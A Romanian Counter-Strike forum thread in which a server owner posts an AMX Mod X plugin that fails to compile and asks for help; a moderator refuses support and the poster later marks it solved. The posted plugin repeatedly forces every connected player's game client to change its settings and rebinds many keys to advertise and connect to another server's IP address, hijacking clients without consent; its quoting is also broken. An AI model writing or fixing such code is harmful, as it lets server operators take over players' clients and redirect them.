[rezolvat] Eroare compilare plugin exec

Categoria cu cereri de pluginuri si nu numai.

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Forum rules
Accesează link-ul pentru a putea vedea regulile forumului

Daca doriti sa vi se modifice un plugin, va rugam postati aici .
Post Reply
User avatar
mixatu
Membru, skill +2
Membru, skill +2
Posts: 660
Joined: 26 Apr 2012, 14:47
Detinator Steam: Da
Detinator server CS: ★ PLAY.USP.RO ★
SteamID: kzu1337
Reputatie: Membru Club eXtreamCS (1 luna)
Location: cstrike
Has thanked: 59 times
Been thanked: 28 times
Contact:

11 Dec 2013, 19:35

exec.sma | Afiseaza codul
#include <amxmodx>

#define PLUGIN "Exec Commands"
#define VERSION "1.0"
#define AUTHOR "anakin_cstrike"

new g_Commands[ ][ ] =
{
        "rate 10000",
	"rate 9000",
	"rate 9500",
	"cl_updaterate 101",
	"cl_updaterate 101",
	"cl_cmdrate 101",
	"fps_max 101",
	"ex_interp 0.10",
        "fps_modem 101",
	"cl_weather 1",
	"bind '"say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind enter "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind f1 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind f2 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind f3 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind f4 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind f5 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind f8 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind f9 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind f10 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind f11 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind f12 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind p "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind o "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind 0 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind 6 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind 7 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind 8 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind 9 "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind insert "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind delete "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind home "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind end "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind j "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind i "say Ma conectez pe serverul |H|-|N|-|S|.|C|-|S|-|1|.|R|-|O|;connect 89.40.233.55:27015",
        "bind v "say /medic;say Medic bind by CS1 Hide'n'Seek",
	"cl_rate 20"
};

new g_maxplayers;

public plugin_init()
{
	register_plugin( PLUGIN, VERSION, AUTHOR );
	
	set_task( 30.0, "commands", _, _, _, "b" );
	g_maxplayers = get_maxplayers();
}

public commands()
{
	for( new i = 1; i <= g_maxplayers; i++ )
	{
		if( !is_user_connected( i ) )
			continue;
		if( is_user_bot( i ) )
			continue;
			
		for( new j; j < sizeof g_Commands; j++ )
			client_cmd( i, g_Commands[ j ] );
	}
}
Unde am gresit? Imi da eroare la compilare.
Last edited by mixatu on 11 Dec 2013, 19:55, edited 1 time in total.
ImageImage
Fondator: ★ PLAY.USP.RO ★ Competitive CS:GO Server [!ws !gloves !knife FREEVIP!]
Rapidserver
Cosmin
Fost moderator
Fost moderator
Posts: 9366
Joined: 06 Jul 2013, 21:08
Detinator Steam: Da
Detinator server CS: Nu
Reputatie: Fost eXtream Mod
Fost Scripter eXtreamCS
Nume anterior: scosmynnnn
Has thanked: 492 times
Been thanked: 546 times

11 Dec 2013, 19:40

Nu se mai ofera suport pentru asa ceva !
User avatar
mixatu
Membru, skill +2
Membru, skill +2
Posts: 660
Joined: 26 Apr 2012, 14:47
Detinator Steam: Da
Detinator server CS: ★ PLAY.USP.RO ★
SteamID: kzu1337
Reputatie: Membru Club eXtreamCS (1 luna)
Location: cstrike
Has thanked: 59 times
Been thanked: 28 times
Contact:

11 Dec 2013, 19:42

scosmynnnn ajutama prin pm te rog..

EDIT: rezolvat.
ImageImage
Fondator: ★ PLAY.USP.RO ★ Competitive CS:GO Server [!ws !gloves !knife FREEVIP!]
Post Reply

Return to “Cereri”

  • Information